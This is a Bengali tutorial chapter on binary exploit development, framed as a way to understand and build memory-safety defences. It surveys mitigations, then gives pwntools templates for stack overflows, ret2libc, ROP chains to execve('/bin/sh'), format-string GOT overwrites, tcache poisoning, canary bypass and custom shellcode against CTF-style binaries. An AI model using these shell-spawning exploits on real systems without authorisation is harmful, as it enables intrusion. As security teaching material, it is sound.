এক্সপ্লয়েট ডেভেলপমেন্ট
অ্যাডভান্সড বাফার ওভারফ্লো, ROP চেইন, ফরম্যাট স্ট্রিং এক্সপ্লয়েট, হিপ এক্সপ্লয়েটেশন, এবং রিলায়েবল শেলকোড লেখা।
বাস্তব জীবনের উপমা
একটা রিলায়েবল এক্সপ্লয়েট লেখা মূলত ইঞ্জিনিয়ারিং, শুধু হ্যাকিং না — মেমরি লেআউট, CPU আর্কিটেকচার, OS প্রোটেকশন, আর টাইমিং বুঝতে হয়। এটা “জিনিসটা ভেঙে ফেলা” এর চেয়ে বেশি “একটা নির্দিষ্ট উপায়ে নির্ভরযোগ্যভাবে ফেইল করে এমন একটা প্রিসাইজ মেকানিজম ডিজাইন করা।”
গল্পে বুঝি
ফাতিমা আল-ফিহরি একজন স্ট্রাকচারাল ইঞ্জিনিয়ার — তবে তার কাজটা একটু অদ্ভুত। সে সারাদিন বসে বসে হিসাব করে, একটা ব্রিজের ডিজাইনে লুকিয়ে থাকা একটা নির্দিষ্ট দুর্বলতা ঠিক কীভাবে, কোন ভার পড়লে, কোন কম্পন হলে ধাপে ধাপে পুরো ব্রিজটাকে ভেঙে ফেলতে পারে। শুধু “ভেঙে যেতে পারে” বললে চলে না — সে চায় নিখুঁতভাবে জানতে: প্রথমে কোন জয়েন্টে চুল-চেরা ফাটল ধরবে, সেই ফাটল কীভাবে পাশের বিমে ভার সরিয়ে দেবে, আর কোন মুহূর্তে গোটা কাঠামো তাসের ঘরের মতো পড়ে যাবে। এই পুরো শিকল-বিক্রিয়াটা সে মাথার ভেতরে সেকেন্ড-বাই-সেকেন্ড দেখতে পায়।
কিন্তু ফাতিমা এসব শেখে কোনো ব্রিজ ভাঙার জন্য না। সে শেখে ঠিক উল্টো কারণে। যেদিন সে হুবহু বুঝে ফেলে একটা ফাটল কীভাবে collapse-এ পরিণত হয়, সেদিন থেকেই সে জানে ভবিষ্যতের ব্রিজ কীভাবে ডিজাইন করলে সেই দুর্বলতাটা থাকতেই পারবে না — এমন উপাদান, এমন জ্যামিতি বেছে নেওয়া যায় যেখানে ওই ফাটল ধরার সুযোগই নেই। আর যেসব পুরনো ব্রিজ এখনো দাঁড়িয়ে আছে, ইন্সপেক্টরদের সে শিখিয়ে দেয় ঠিক কোন লক্ষণ — কোন সূক্ষ্ম মরচে, কোন হালকা কাঁপুনি — দেখলে বুঝতে হবে বিপদ ঘনিয়ে আসছে। “কীভাবে ভাঙে” সেই গভীর জ্ঞানটাই তার হাতে তুলে দেয় শক্তিশালী, নিরাপদ ব্রিজ বানানোর ক্ষমতা।
এই চ্যাপ্টারের exploit development ঠিক ফাতিমার এই কাজটাই। একটা নিচু-স্তরের flaw — যেমন একটা memory safety bug — কীভাবে ধাপে ধাপে একটা নির্ভরযোগ্য, নিয়ন্ত্রণযোগ্য দখলে (reliable control) পরিণত হয়, সেই পুরো শিকল-বিক্রিয়া নিখুঁতভাবে বোঝাই এই ডিসিপ্লিন — ঠিক যেমন ফাতিমা ফাটল থেকে collapse পর্যন্ত প্রতিটা ধাপ বোঝে। আর এই বোঝাটা ভাঙার জন্য না, বরং ফাতিমার মতোই ভবিষ্যৎ “ব্রিজ” flaw-প্রুফ বানানোর জন্য: ঠিক এই গভীর জ্ঞানই আমাদের ঠেলে দেয় memory-safe language (Rust) ব্যবহারের দিকে যেখানে ওই bug-টা ধরারই সুযোগ নেই, আর ASLR, NX, stack canary-র মতো mitigation-এর দিকে যেগুলো bug থেকে control-এ যাওয়ার শিকলটাই ভেঙে দেয় — নিচের সেকশনগুলোতেই সেগুলো দেখব। বাস্তবে ঠিক এভাবেই Microsoft আর Google তাদের codebase-এর memory-safety bug গভীরভাবে বিশ্লেষণ করে সিদ্ধান্ত নিয়েছে যে নতুন সিস্টেম-কোড Rust-এ লেখা হবে — কারণ “কীভাবে ফেইল করে” জানাটাই “কীভাবে ফেইল-প্রুফ বানাব” শেখায়।
মডার্ন এক্সপ্লয়েট মিটিগেশন
প্রতিটা প্রোটেকশন অ্যাটাক অ্যাপ্রোচ বদলে দেয়
ASLR (Address Space Layout Randomization)
OS randomizes base addresses of stack, heap, libraries on each run
→ Can't hardcode addresses. Need to leak an address first.
NX / DEP (No-Execute / Data Execution Prevention)
Stack and heap memory is not executable
→ Can't put shellcode on stack. Need ROP (Return-Oriented Programming).
Stack Canary
Random value placed between buffer and return address before function call
Verified before return — mismatch = segfault
→ Need to leak the canary, or use format string to overwrite without detection
PIE (Position Independent Executable)
The program itself also gets randomized base address
→ Need to leak a code address too
RELRO (Relocation Read-Only)
GOT (Global Offset Table) is read-only after startup
→ Can't overwrite GOT entries
Safe-SEH / CFG (Control Flow Guard)
Indirect calls/jumps must target valid locations
→ Limits ROP gadget choices pwntools — এক্সপ্লয়েট ডেভেলপমেন্ট লাইব্রেরি
from pwn import *
# Connect to target
io = remote('challenge.ctf', 1337) # remote
io = process('./challenge') # local
io = gdb.debug('./challenge') # with GDB attached
# Architecture setup (auto-detected usually)
context.arch = 'amd64' # x86_64
context.arch = 'i386' # 32-bit x86
context.os = 'linux'
# Sending and receiving
io.send(b'data') # send bytes (no newline)
io.sendline(b'data') # send with newline
io.sendafter(b'prompt:', b'input') # send after seeing prompt
io.recv(100) # receive 100 bytes
io.recvline() # receive until newline
io.recvuntil(b'>>>') # receive until pattern
io.interactive() # interactive mode
# Packing numbers into bytes
p32(0x41424344) # → b'\x44\x43\x42\x41' (little-endian 32-bit)
p64(0xdeadbeef) # → 8 bytes little-endian 64-bit
u32(b'\x41\x42\x43\x44') # unpack → 0x44434241
u64(b'\x41' * 8) # unpack → integer
# ELF parsing
elf = ELF('./challenge')
elf.symbols['win'] # address of 'win' function
elf.got['puts'] # GOT entry for 'puts'
elf.plt['puts'] # PLT entry for 'puts'
# ROP gadget finding
rop = ROP(elf)
rop.find_gadget(['ret']) # find 'ret' gadget
rop.find_gadget(['pop rdi', 'ret']) # find 'pop rdi; ret'
# Shellcraft — generate shellcode
shellcode = asm(shellcraft.sh()) # /bin/sh shellcode
shellcode = asm(shellcraft.linux.amd64.sh()) বাফার ওভারফ্লো — স্ট্যাক-বেসড (32-বিট)
from pwn import *
# Vulnerable C:
# void vuln() {
# char buf[64];
# gets(buf); // reads unlimited input
# }
io = process('./challenge')
elf = ELF('./challenge')
# Step 1: Find offset where EIP is controlled
# Send cyclic pattern: cyclic(200) generates "aaaabaaacaaadaaa..."
io.sendline(cyclic(200))
io.wait()
# Check core dump for crash value
core = Corefile('./core')
offset = cyclic_find(core.eip) # offset where EIP got overwritten
print(f"Offset: {offset}") # e.g., 76
# Step 2: Build payload
# No ASLR + NX disabled (ret2stack):
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'A' * (offset - len(shellcode)) # padding
payload += p32(core.esp - some_offset) # return to shellcode on stack
# Step 3: Send
io = process('./challenge')
io.sendline(payload)
io.interactive() Return-to-libc (ret2libc)
NX/DEP চালু থাকলে শেলকোড এক্সিকিউট করা যায় না। তখন এক্সিস্টিং এক্সিকিউটেবল কোডে (libc ফাংশনে) জাম্প করতে হয়।
from pwn import *
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Step 1: Leak a libc address (ASLR enabled → need to find base)
# Leak puts' got entry using puts itself via PLT
rop = ROP(elf)
# 64-bit calling convention: rdi = first argument
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]
# Leak puts address (puts prints its own GOT entry)
leak_payload = b'A' * offset
leak_payload += p64(pop_rdi)
leak_payload += p64(elf.got['puts']) # argument: address of puts in GOT
leak_payload += p64(elf.plt['puts']) # call puts(got.puts) → prints puts address
leak_payload += p64(elf.symbols['main']) # return to main for second stage
io = process('./challenge')
io.sendline(leak_payload)
io.recvuntil(b'output:\n')
leak = u64(io.recv(6).ljust(8, b'\x00')) # 6 bytes on 64-bit systems
libc.address = leak - libc.symbols['puts'] # calculate libc base
print(f"libc base: {hex(libc.address)}")
# Step 2: Call system("/bin/sh")
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
payload = b'A' * offset
payload += p64(ret_gadget) # stack alignment (16-byte boundary for system())
payload += p64(pop_rdi)
payload += p64(bin_sh) # argument: "/bin/sh"
payload += p64(system) # call system("/bin/sh")
io.sendline(payload)
io.interactive() ROP চেইন (Return-Oriented Programming)
ROP চেইন হলো ret-এ শেষ হওয়া ছোট ছোট ইনস্ট্রাকশন সিকোয়েন্স (“গ্যাজেট”) একের পর এক জুড়ে আরবিট্রারি কম্পিউটেশন তৈরি করা।
from pwn import *
from ropper import RopperService # or use pwntools ROP()
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc])
# Common 64-bit Linux syscall: execve("/bin/sh", NULL, NULL)
# syscall number: 59 (0x3b)
# rax = 59, rdi = ptr to "/bin/sh", rsi = 0, rdx = 0
# Find gadgets
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
syscall = rop.find_gadget(['syscall'])[0]
# Find "/bin/sh" in binary or libc
bin_sh = next(libc.search(b'/bin/sh\x00'))
# Build chain
chain = b'A' * offset
chain += p64(pop_rax)
chain += p64(59) # execve syscall number
chain += p64(pop_rdi)
chain += p64(bin_sh) # pointer to "/bin/sh"
chain += p64(pop_rsi)
chain += p64(0) # NULL argv
chain += p64(pop_rdx)
chain += p64(0) # NULL envp
chain += p64(syscall) # syscall instruction
io = process('./challenge')
io.sendline(chain)
io.interactive() ফরম্যাট স্ট্রিং এক্সপ্লয়েটেশন
যখন ইউজার ইনপুট সরাসরি printf-এর ফরম্যাট স্ট্রিং হিসেবে পাস হয়
// Vulnerable
char buf[64];
fgets(buf, sizeof(buf), stdin);
printf(buf); // WRONG — should be printf("%s", buf)
// printf format specifiers:
// %p → print pointer (leak addresses)
// %x → print hex value
// %n → write number of bytes printed so far (write primitive!)
// %s → dereference pointer, print as string from pwn import *
io = process('./challenge')
elf = ELF('./challenge')
# Step 1: Leak values from stack
# Send: %p.%p.%p.%p (prints pointers from stack)
io.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
leak = io.recvline()
print(leak)
# Find the offset where our input appears in the leak
# If sending "AAAA%p.%p..." and one %p shows 0x41414141 → that's our offset
# Step 2: Arbitrary write with %n
# Write to the GOT entry of a function, redirect to win()
# Example: overwrite got['exit'] with elf.symbols['win']
fmtstr = fmtstr_payload(
offset=6, # our input is at 6th argument
writes={elf.got['exit']: elf.symbols['win']}
)
io.sendline(fmtstr)
io.sendline(b'exit') # trigger exit() → actually calls win()
io.interactive() হিপ এক্সপ্লয়েটেশন (ফান্ডামেন্টালস)
// glibc malloc uses bins: fast, small, large, unsorted
// Chunks have headers: size, prev_size, fd/bk pointers (free chunks)
// Use-After-Free (UAF):
char *buf = malloc(64);
free(buf);
// buf still points to freed memory
buf[0] = 0x41; // undefined behavior — may control chunk metadata from pwn import *
# Tcache poisoning (glibc 2.26+)
# Tcache: per-thread cache of recently freed chunks
# Freeing same chunk twice + writing to it → control next allocation address
# Template for tcache dup:
# 1. Allocate chunk A
# 2. Free chunk A twice (or UAF to overwrite fd pointer)
# 3. fd pointer of chunk in tcache → address we want to allocate
# 4. Next two allocations: one returns the fake chunk, one at controlled address
# 5. Overwrite __free_hook or __malloc_hook with one_gadget
# One gadget — single address that gives shell (with right register state)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Outputs addresses that, if jumped to, execute execve("/bin/sh") স্ট্যাক ক্যানারি বাইপাস টেকনিক
# 1. Format string leak
# If there's a format string vuln before the overflow:
# Find the canary value on the stack via %p leak
# Then include it in your buffer overflow payload
canary_leak = io.recvline()
canary = int(canary_leak.split(b':')[1], 16)
payload = b'A' * buffer_size # fill buffer
payload += p64(canary) # correct canary value
payload += p64(0) # saved rbp
payload += p64(win) # return address
# 2. Brute force (32-bit fork servers)
# In a fork server, canary is same for all children
# Brute force byte by byte (256 guesses per byte, 4 bytes = 1024 guesses) নিজের শেলকোড লেখা
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# execve("/bin/sh", NULL, NULL) manually
shellcode = asm("""
xor rdx, rdx ; rdx = 0 (envp = NULL)
xor rsi, rsi ; rsi = 0 (argv = NULL)
lea rdi, [rip + path] ; rdi = pointer to "/bin/sh"
xor rax, rax
mov al, 59 ; rax = 59 (execve syscall)
syscall
path: .string "/bin/sh"
""")
# Test it
io = run_shellcode(shellcode)
io.interactive()
# Or use pwnlib's shellcraft:
shellcode = asm(shellcraft.amd64.linux.sh())
print(shellcode.hex()) এক্সপ্লয়েট ডেভেলপমেন্টের জন্য রিসোর্স
Practice platforms:
pwn.college → structured binary exploitation curriculum (free)
exploit.education → intentionally vulnerable VMs
ROP Emporium → ropemporium.com — pure ROP challenges
Books:
"Hacking: The Art of Exploitation" by Jon Erickson
"The Shellcoder's Handbook" by Anley et al.
Tools:
pwntools → Python exploitation framework
GDB + pwndbg → debugger + enhanced display
ROPgadget → find ROP gadgets
ropper → alternative gadget finder
one_gadget → find one-gadget shells in libc
checksec → check binary protections
patchelf → change binary's RPATH for custom libc
OSCP prep (simpler overflows):
Vulnserver → Windows BOF practice (oscp style)
dostackbufferoverflowgood → guided Windows BOF tutorial